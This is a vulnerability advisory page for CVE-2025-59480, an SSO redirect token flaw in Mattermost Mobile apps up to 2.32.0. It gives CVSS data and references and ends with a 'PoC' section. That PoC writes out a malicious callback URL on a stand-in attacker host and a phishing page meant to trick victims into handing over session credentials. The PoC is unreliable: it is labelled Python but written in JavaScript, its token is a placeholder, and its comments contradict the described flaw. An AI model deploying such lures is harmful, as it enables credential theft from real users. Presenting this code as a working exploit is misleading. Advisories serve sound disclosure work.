CVE-2025-59480

Description

Mattermost Mobile Apps versions <=2.32.0 fail to verify that SSO redirect tokens originate from the trusted server, which allows a malicious Mattermost instance or on-path attacker to obtain user session credentials via crafted token-in-URL responses

CVSS Details

CVSS Score

6.1

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:R/S:C/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:a:mattermost:mattermost_mobile:*:*:*:*:*:*:*:* - VULNERABLE

Mattermost Mobile Apps <= 2.32.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-59480 PoC - Malicious SSO Redirect Token Attack // This PoC demonstrates how an attacker can craft a malicious URL to steal session credentials const maliciousServer = 'https://attacker-controlled-mattermost.example.com'; const targetUser = '[email protected]'; // Step 1: Attacker sets up a malicious Mattermost instance or intercepts traffic // Step 2: Attacker crafts a malicious SSO redirect URL const maliciousRedirectURL = `${maliciousServer}/oauth/callback?` + `token=${generateMaliciousToken()}&` + `redirect_to=${encodeURIComponent('mattermost://login?redirect_to=/channels/town-square')}`; // Step 3: Attacker creates a phishing page or injects the malicious URL const phishingPage = ` <html> <body> <h1>Please verify your Mattermost account</h1> <a href="${maliciousRedirectURL}">Click here to continue</a> </body> </html>`; // Step 4: When victim clicks the link, Mattermost mobile app processes the malicious token // The app fails to verify token origin, establishing attacker's session instead console.log('Malicious URL generated:', maliciousRedirectURL); console.log('Deploy phishing page to trick victim into clicking the link'); function generateMaliciousToken() { // Token would be generated by malicious Mattermost server return 'eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.malicious.token'; }

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-59480
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-59480
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-59480/
[4] VulDB https://vuldb.com/cve/CVE-2025-59480
[5] https://mattermost.com/security-updates

Raw JSON Data

JSON

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